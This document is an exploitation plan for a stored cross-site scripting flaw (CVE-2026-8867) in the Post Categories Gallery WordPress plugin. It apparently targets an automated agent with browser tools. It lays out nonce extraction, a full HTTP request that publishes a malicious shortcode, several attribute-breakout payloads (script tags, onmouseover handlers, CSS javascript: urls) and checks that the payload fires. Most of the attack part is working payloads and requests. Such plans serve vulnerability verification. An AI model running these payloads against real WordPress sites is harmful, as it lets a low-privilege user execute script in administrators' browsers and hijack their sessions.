Post Categories Gallery <= 1.0.0 - Authenticated (Contributor+) Stored Cross-Site Scripting via Shortcode Attributes

This exploitation research plan targets CVE-2026-8867, a Stored Cross-Site Scripting (XSS) vulnerability in the Post Categories Gallery plugin for WordPress.

1. Vulnerability Summary

The vulnerability exists within the sc_horcatbar() function, which is the callback handler for the [postcategorygallery] shortcode. The plugin fails to sanitize or escape user-provided attributes—specifically total_width, color_scheme, and caption_font_size—before concatenating them into HTML attributes. Because contributors and above can embed shortcodes in posts, they can inject malicious JavaScript that executes when any user (including administrators) views the affected page.

2. Attack Vector Analysis

• Shortcode: [postcategorygallery]
• Vulnerable Attributes: total_width, color_scheme, caption_font_size
• Endpoint: wp-admin/post.php (for post creation/editing) and the public frontend (for execution).
• Authentication: Requires Contributor level or higher.
• Preconditions: The plugin must be active. The attacker must have the capability to edit/save posts (default for Contributors).

3. Code Flow (Inferred)

1. Registration: The plugin calls add_shortcode( 'postcategorygallery', 'sc_horcatbar' ) during initialization.
2. Processing: When a post containing the shortcode is rendered, do_shortcode() calls sc_horcatbar( $atts ).
3. Parsing: The function likely uses shortcode_atts() to merge user input with defaults:

   // Inferred logic within sc_horcatbar()
   $a = shortcode_atts( array(
       'total_width' => '100%',
       'color_scheme' => '#000',
       'caption_font_size' => '14px',
   ), $atts );
   

4. Sink: The raw values of $a['total_width'] etc., are concatenated directly into an HTML string:

   // Vulnerable Sink
   $output = '<div class="pg-container" style="width:' . $a['total_width'] . ';">';
   // ...
   return $output;
   

5. Output: The unescaped string is returned and echoed to the page, leading to XSS.

4. Nonce Acquisition Strategy

While the XSS execution itself does not require a nonce, saving the post that contains the malicious shortcode requires a WordPress "post" nonce.

1. Navigate to Post Editor: Use browser_navigate to go to /wp-admin/post-new.php.
2. Extract Nonce: Use browser_eval to extract the _wpnonce from the form.

   // Extraction script
   document.querySelector('#_wpnonce').value
   

3. Identify JS Variables: If the plugin uses wp_localize_script, we should also check for any localized data.
   • Search for scripts: browser_eval("window.pg_vars || window.postCategoryGalleryData") (inferred names).

5. Exploitation Strategy

The goal is to create a post containing the malicious shortcode and verify its execution.

Step 1: Authenticate as Contributor
Login to the WordPress instance with contributor credentials.

Step 2: Create a Post with XSS Payload
Send a POST request to /wp-admin/post.php to create a new post.

• Payload (in total_width): 100%;" onmouseover="alert(document.domain)" data-x="
• Alternative Payload (Breakout): "><script>alert(1)</script>

HTTP Request:

POST /wp-admin/post.php HTTP/1.1
Content-Type: application/x-www-form-urlencoded

action=editpost
&post_ID=[NEW_POST_ID]
&_wpnonce=[EXTRACTED_NONCE]
&post_title=Gallery+Test
&content=[postcategorygallery total_width='"><script>alert(window.origin)</script>']
&publish=Publish

Step 3: Trigger the XSS
Navigate to the permalink of the newly created post using browser_navigate.

6. Test Data Setup

1. Plugin Installation: Ensure post-category-gallery version <= 1.0.0 is installed and active.
2. User Creation:
   • Create a user attacker_contributor with the contributor role.
   • Create a user victim_admin with the administrator role.

7. Expected Results

• The sc_horcatbar() function will generate HTML similar to:
  <div class="pg-container" style="width:"><script>alert(window.origin)</script>;">
• When the browser renders this, the <script> tag will execute immediately.
• If using the onmouseover payload, hovering over the gallery container will trigger the alert.

8. Verification Steps

1. Visual Confirmation: Use browser_eval to check if a specific "canary" variable exists (e.g., if the payload was window.pwned = 1, check browser_eval("window.pwned")).
2. DOM Inspection:

   # Verify the unescaped payload exists in the page source
   wp post get [POST_ID] --field=post_content
   # Use playwright to check the rendered HTML
   browser_eval("document.body.innerHTML.includes('alert(window.origin)')")
   

9. Alternative Approaches

If the total_width attribute is partially sanitized (e.g., stripping <script>), attempt exploitation via other attributes:

• color_scheme: [postcategorygallery color_scheme='background-color:red" onmouseover="alert(1)"']
• caption_font_size: [postcategorygallery caption_font_size='24px; color:transparent; content:url("javascript:alert(1)")'] (CSS-based execution).
• Style Breakout: If the input is placed inside a style attribute, use: expression(alert(1)) (legacy IE) or break the style attribute with ;} and inject a new tag.